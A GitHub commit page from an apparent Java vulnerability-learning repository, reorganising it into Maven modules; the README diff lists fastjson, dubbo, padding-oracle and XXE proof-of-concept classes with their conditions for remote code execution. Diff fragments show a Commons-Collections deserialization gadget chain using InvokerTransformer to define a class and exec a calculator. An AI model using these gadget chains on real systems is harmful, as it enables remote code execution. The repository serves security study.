Skip to content

Commit 215942c

Browse files
author
threedr3am
committed
feat:重构项目为多module形式
作为一个开发,看到这样的项目,我自己都觉得丢脸,所以重构一下。
1 parent 4320345 commit 215942c

File tree

102 files changed

+574
-681
lines changed

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

102 files changed

+574
-681
lines changed

README.md

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
### fastjson poc
1+
### fastjson
22
1. com.threedr3am.bug.fastjson.FastjsonSerialize(TemplatesImpl) 利用条件:fastjson <= 1.2.24 + Feature.SupportNonPublicField
33
2. com.threedr3am.bug.fastjson.NoNeedAutoTypePoc 利用条件:fastjson < 1.2.48 不需要任何配置,默认配置通杀RCE
44
3. com.threedr3am.bug.fastjson.HikariConfigPoc(HikariConfig) 利用条件:fastjson <= 1.2.59 RCE,需要开启AutoType
55
4. com.threedr3am.bug.fastjson.CommonsProxyPoc(SessionBeanProvider) 利用条件:fastjson <= 1.2.61 RCE,需要开启AutoType
66

7-
### jackson poc
7+
### jackson
88
package:com.threedr3am.bug.jackson
99

1010
### dubbo
@@ -13,17 +13,17 @@ package:com.threedr3am.bug.jackson
1313
3. com.threedr3am.bug.dubbo.XBeanPoc 利用条件:存在org.apache.xbean:xbean-naming依赖
1414
4. com.threedr3am.bug.dubbo.SpringAbstractBeanFactoryPointcutAdvisorPoc 利用条件:存在org.springframework:spring-aop依赖
1515

16-
### Padding Oracle CBC
16+
### padding-oracle-cbc
1717
1. com.threedr3am.bug.paddingoraclecbc.PaddingOracle ```padding oracle java实现(多组密文实现)```
1818
2. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC ```padding oracle cbc java实现(单组 <= 16bytes 密文实现)```
1919
3. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBC2 ```padding oracle cbc java实现(多组密文实现)```
2020
4. com.threedr3am.bug.paddingoraclecbc.PaddingOracleCBCForShiro ```shiro padding oracle cbc java实现```
2121

22-
### XXE
22+
### xxe
2323
paclage:com.threedr3am.bug.xxe
2424

25-
### Commons-Collections
26-
package:com.threedr3am.bug.collections3
25+
### commons-collections
26+
package:com.threedr3am.bug.collections
2727

28-
### Java Security Manager
28+
### security-anager
2929
package:com.threedr3am.bug.security.manager

a.obj

-1.04 KB
Binary file not shown.

common-collections/pom.xml

Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>common-collections</artifactId>
13+
14+
<dependencies>
15+
<!-- apache-common-collections3 -->
16+
<dependency>
17+
<groupId>commons-collections</groupId>
18+
<artifactId>commons-collections</artifactId>
19+
<version>3.2.1</version>
20+
</dependency>
21+
22+
<dependency>
23+
<groupId>com.xyh</groupId>
24+
<artifactId>common</artifactId>
25+
<version>1.0-SNAPSHOT</version>
26+
</dependency>
27+
</dependencies>
28+
29+
</project>
Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
/**
2+
* @author xuanyh
3+
*/
4+
package com.threedr3am.bug.collections;

src/main/java/com/threedr3am/bug/collections3/no1/SerializeMapForTransformer.java renamed to common-collections/src/main/java/com/threedr3am/bug/collections/v3/no1/SerializeMapForTransformer.java

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,14 +1,13 @@
1-
package com.threedr3am.bug.collections3.no1;
1+
package com.threedr3am.bug.collections.v3.no1;
22

33

4-
import com.threedr3am.bug.utils.SerializeUtil;
4+
import com.threedr3am.bug.common.utils.SerializeUtil;
55
import org.apache.commons.collections.Transformer;
66
import org.apache.commons.collections.functors.ChainedTransformer;
77
import org.apache.commons.collections.functors.ConstantTransformer;
88
import org.apache.commons.collections.functors.InvokerTransformer;
99
import org.apache.commons.collections.map.TransformedMap;
1010

11-
import java.io.*;
1211
import java.lang.annotation.Target;
1312
import java.lang.reflect.Constructor;
1413
import java.lang.reflect.InvocationHandler;

src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime.java renamed to common-collections/src/main/java/com/threedr3am/bug/collections/v3/no2/CallbackRuntime.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.collections3.no2;
1+
package com.threedr3am.bug.collections.v3.no2;
22

33
import java.io.BufferedInputStream;
44

src/main/java/com/threedr3am/bug/collections3/no2/CallbackRuntime2.java renamed to common-collections/src/main/java/com/threedr3am/bug/collections/v3/no2/CallbackRuntime2.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
1-
package com.threedr3am.bug.collections3.no2;
1+
package com.threedr3am.bug.collections.v3.no2;
22

33
import java.io.BufferedInputStream;
44

src/main/java/com/threedr3am/bug/collections3/no2/SerializeMapForTransformer.java renamed to common-collections/src/main/java/com/threedr3am/bug/collections/v3/no2/SerializeMapForTransformer.java

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
1-
package com.threedr3am.bug.collections3.no2;
1+
package com.threedr3am.bug.collections.v3.no2;
22

3-
import com.threedr3am.bug.utils.FileToByteArrayUtil;
4-
import com.threedr3am.bug.utils.SerializeUtil;
3+
import com.threedr3am.bug.common.utils.FileToByteArrayUtil;
4+
import com.threedr3am.bug.common.utils.SerializeUtil;
55
import org.apache.commons.collections.Transformer;
66
import org.apache.commons.collections.functors.ChainedTransformer;
77
import org.apache.commons.collections.functors.ConstantTransformer;
@@ -43,9 +43,9 @@ private static void testStaticClassInitForDefineClass() throws Exception {
4343
new InvokerTransformer("newInstance", new Class[]{Object[].class},
4444
new Object[]{new Object[0]}),
4545
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
46-
new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime2",
46+
new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime2",
4747
FileToByteArrayUtil.readCallbackRuntimeClassBytes(
48-
"com/threedr3am/bug/collections3/no2/CallbackRuntime2.class")}),
48+
"com/threedr3am/bug/collections/v3/no2/CallbackRuntime2.class")}),
4949
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{})
5050
};
5151
Transformer transformer = new ChainedTransformer(transformers);
@@ -70,9 +70,9 @@ private static void testAnnotationInvocationHandlerForDefineClass() throws Excep
7070
new InvokerTransformer("newInstance", new Class[]{Object[].class},
7171
new Object[]{new Object[0]}),
7272
new InvokerTransformer("defineClass", new Class[]{String.class, byte[].class},
73-
new Object[]{"com.threedr3am.bug.collections3.no2.CallbackRuntime",
73+
new Object[]{"com.threedr3am.bug.collections.v3.no2.CallbackRuntime",
7474
FileToByteArrayUtil.readCallbackRuntimeClassBytes(
75-
"com/threedr3am/bug/collections3/no2/CallbackRuntime.class")}),
75+
"com/threedr3am/bug/collections/v3/no2/CallbackRuntime.class")}),
7676
new InvokerTransformer("newInstance", new Class[]{}, new Object[]{}),
7777
new InvokerTransformer("exec", new Class[]{String.class},
7878
new Object[]{"/Applications/Calculator.app/Contents/MacOS/Calculator"})

src/main/java/com/threedr3am/bug/collections3/package-info.java renamed to common-collections/src/main/java/com/threedr3am/bug/collections/v3/package-info.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,4 +3,4 @@
33
*
44
* @author threedr3am
55
*/
6-
package com.threedr3am.bug.collections3;
6+
package com.threedr3am.bug.collections.v3;

common/pom.xml

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
<?xml version="1.0" encoding="UTF-8"?>
2+
<project xmlns="http://maven.apache.org/POM/4.0.0"
3+
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
4+
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
5+
<parent>
6+
<artifactId>learn-java-bug</artifactId>
7+
<groupId>com.xyh</groupId>
8+
<version>1.0-SNAPSHOT</version>
9+
</parent>
10+
<modelVersion>4.0.0</modelVersion>
11+
12+
<artifactId>common</artifactId>
13+
14+
<dependencies>
15+
<dependency>
16+
<groupId>com.vip.vjtools</groupId>
17+
<artifactId>vjkit</artifactId>
18+
<version>1.0.8</version>
19+
</dependency>
20+
21+
<!-- ldap -->
22+
<dependency>
23+
<groupId>com.unboundid</groupId>
24+
<artifactId>unboundid-ldapsdk</artifactId>
25+
<version>3.1.1</version>
26+
</dependency>
27+
28+
</dependencies>
29+
30+
</project>

0 commit comments

Comments
 (0)